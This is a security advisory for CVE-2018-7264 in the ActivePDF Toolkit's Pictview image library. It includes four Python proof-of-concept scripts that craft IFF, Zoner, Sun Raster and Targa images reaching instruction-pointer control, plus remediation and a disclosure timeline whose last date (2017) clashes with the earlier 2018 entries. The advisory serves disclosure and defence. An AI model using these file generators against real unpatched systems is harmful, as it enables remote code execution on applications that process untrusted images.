ActivePDF Toolkit < 8.1.0.19023 - Multiple Memory Corruptions
ActivePDF Toolkit < 8.1.0 multiple RCE Introduction ============ The ActivePDF Toolkit is a Windows library which enhances business processes to stamp, stitch, merge, form-fill, add digital signatures, barcodes to PDF. Both .NET and native APIs are provided. Amongst many other operations, this library can be used by applications to transform images to PDF files. Multiple vulnerabilities were identified in the Pictview image processing library embedded by the Toolkit and signed by ActivePDF. They could allow remote attackers to compromise applications relying on the Toolkit to process untrusted images. Note that, while the example instances hereafter use “exotic” file types, the parser determines the image type from magic bytes, ignoring file extensions in most cases. CVE === CVE-2018-7264 Affected versions ================= ActivePDF Toolkit before 8.1.0 (build 8.1.0.19023) Author ====== François Goichon - Google Security Team CVE-2018-7264 ============= ActivePDF Toolkit < 8.1.0.19023 multiple RCE Summary ------- An image processing library embedded in the ActivePDF Toolkit product is prone to multiple BSS out-of-bound and signedess errors which can yield direct EIP control by overwriting function pointers, error handling structures or IAT entries. Note that the affected library does not enable ASLR. Reproduction ------------ The following scripts can be used to generate crafted image files which achieve EIP control when parsed or converted by the ActivePDF Toolkit (e.g. via the ImageToPDF method), through different root causes. These examples can be reproduced through both the .NET and native APIs and independently from file extensions, however the .NET layer will hide the native crashes and return -1. This may crash the library with a lock on, so only use in test environments. * Interchange File Format (.iff) and derivates --- #!/usr/bin/env python2 # # eax=28147510 ebx=00009c1c ecx=28147510 edx=00009c1c esi=28140e90 edi=02930a6c # eip=41414141 esp=0061f264 ebp=0061f26c iopl=0 nv up ei pl nz na po nc # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 # 41414141 ?? ??? from struct import pack header = "FORMXOXOILBM" bodycontents = "AAA" body = "BODY" + pack(">I", len(bodycontents)) + bodycontents while (len(body) % 2) == 1: body += "\x00" base = 0x28147510 payload = pack("<I", base).ljust(0x28151114 - base, "A") + pack("<I", base) cmap = "CMAP" + pack(">I", len(payload)) + payload while (len(cmap) % 2) == 1: cmap += "\x00" outp = header + cmap + body assert len(outp) >= 0x28 with open("test.iff", "wb") as f: f.write(outp) --- * Zoner Draw images (.zmf, .zbr) --- #!/usr/bin/env python2 # # eax=28151110 ebx=0000002e ecx=0000bc28 edx=2813eb10 esi=00000008 edi=028e0a6c # eip=41414141 esp=2814550c ebp=41414141 iopl=0 nv up ei ng nz ac pe cy # cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 # 41414141 ?? ??? from struct import pack header = pack("<III", 0x5c, 0xD4015ADD, 0x12345678) header = header.ljust(9*4) + pack("<I", 0x3c) header = header.ljust(0x3c) base = 0x2814550C payload = '\x00' * (0x28151124 - base) + pack("<I", base) + "A"*8 # can be triggered by multiple formats header2 = pack("<H", 0x4d42) header2 = header2.ljust(14) + pack("<I", 50-14) header2 = header2.ljust(28) + pack("<HI", 0, 0) header2 = header2.ljust(46) + pack("<I", len(payload)/4 + 1) outp = header + header2 + payload with open("test.zmf", "w") as f: f.write(outp) --- * Sun Raster images (.ras) --- #!/usr/bin/python2 # #WARNING: Stack pointer is outside the normal stack bounds. Stack unwinding can be inaccurate. #eax=28151110 ebx=0000000c ecx=0000fc2d edx=2813eb10 esi=00000008 edi=02880a6c #eip=41414141 esp=28141504 ebp=41414141 iopl=0 nv up ei ng nz ac pe cy #cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 #41414141 ?? ??? from struct import pack header = pack(">IIIIIII", 0x59A66A95, 0x100, 1, 8, 0, 2, 1) base = 0x28141504 payload = "".ljust(0x28151124 - base, "\x00") + pack("<I", base) + "A"*8 outp = header + pack(">I", len(payload)+1) + payload with open("test.ras", "wb") as f: f.write(outp) --- * Truevision Targa images (.bpx) --- #!/usr/bin/env python2 # #eax=28151110 ebx=00000004 ecx=00000008 edx=2813eb10 esi=00000008 edi=028f0a6c #eip=41414141 esp=0061f2a0 ebp=0061f2e8 iopl=0 nv up ei ng nz ac pe cy #cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010297 #41414141 ?? ??? from struct import pack target = 0x2815112C payload = "AAAA" # TGA / PIC / BPX base = { 3: 0x28147510, 4: 0x2814550c } align = None for al in [3, 4]: if ((target - base[al]) % al) == 0: align = al break assert align header = "\x00\x01\x00" header += pack("<H", (target - base[align])/align) header += pack("<H", (len(payload)/align)+1) header += chr(32 if align == 4 else 24) header = header.ljust(16) header += chr(1) header = header.ljust(18) with open("test.bpx", "wb") as f: f.write(header + payload) --- Remediation ----------- Upgrade to ActivePDF Toolkit >= 8.1.0 (build 8.1.0.19023), which fixes the problem by removing the affected image processing library. Note that this also fixes the similar ZDI-16-354 vulnerability. For more information and guidance, please contact the ActivePDF support through their portal (https://support.activepdf.com). Disclosure timeline =================== 2017/11/28 - Report sent to ActivePDF support 2017/11/28 - Support acknowledges the issue and confirms that the library is scheduled to be removed from the product 2018/01/29 - Received notification from the ActivePDF support that the Pictview image processing library had been removed from ActivePDF in build 8.1.0.19023 2017/02/26 - Public disclosure |